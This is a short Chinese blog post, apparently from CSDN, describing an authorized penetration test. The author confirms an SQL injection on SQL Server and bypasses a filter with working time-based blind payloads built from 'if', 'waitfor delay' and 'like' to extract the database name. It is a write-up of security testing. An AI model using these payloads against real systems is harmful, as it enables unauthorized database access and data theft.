0x01
某日,一女徒弟找我,让我帮她测一个授权项目。
必须先拿@长亭科技的xray跑一下。
![24402794ddd43203222a5f6a1543473c.png](https://i-blog.csdnimg.cn/blog_migrate/c6f87e449b881caf30e018253c60ec25.png)
随便点点,新增点内容,然后删除。
xray立刻提示 Vuln:sqldet
SQL注入
![3c5f6c955a40b81bdb01de28b9eeefe5.png](https://i-blog.csdnimg.cn/blog_migrate/86bf5477858eab333c25c1d338f07f11.png)
还没开始就结束了。
XRAY牛逼PLUS!!!
0x02
下面开始漏洞验证。
上burpsuite,然后修改delay 后面的时间。 0:0:1 0:0:5 .....
![624dc9c5922b8c32edf737943aaa3bfa.png](https://i-blog.csdnimg.cn/blog_migrate/42a890bba8f11d30cadec740e1846874.png)
漏洞存在。
0x03
那么怎么也得拿出点数据,甲方才能认可吧。
就以 db_name() 为目标吧。
然后测试 and 1=1 or 1=1 这些熟悉的payload,发现有过滤。并没有办法有效的获取数据。
中午回家吃饭,睡一觉。晚上继续测试。想到了,之前测mysql的时候,我喜欢用if(1,sleep(5),1)来获取数据。
那么SQL-server的if呢?
尝试payload:
'+if +'1'='1'+select+'1'+else+waitfor+delay+'0:0:2 无延时
'+if +'1'='2'+select+'1'+else+waitfor+delay+'0:0:2 延时2秒
OK,那么开始数据获取
left(db_name(),1)='a' 报错,此路不通。
substring(db_name(),0,1)='a' 报错,此路不通。
我靠!
0x04
最后只能通过like来获取数据。
那么最终的payload就是:
'+if +db_name()+like+'%a%'+select+'1'+else+waitfor+delay+'0:0:2 无延时
'+if +db_name()+like+'%b%'+select+'1'+else+waitfor+delay+'0:0:2 延时2秒
然后写了一个脚本,跑出db_name() xxxxxx
嗯,到此为止。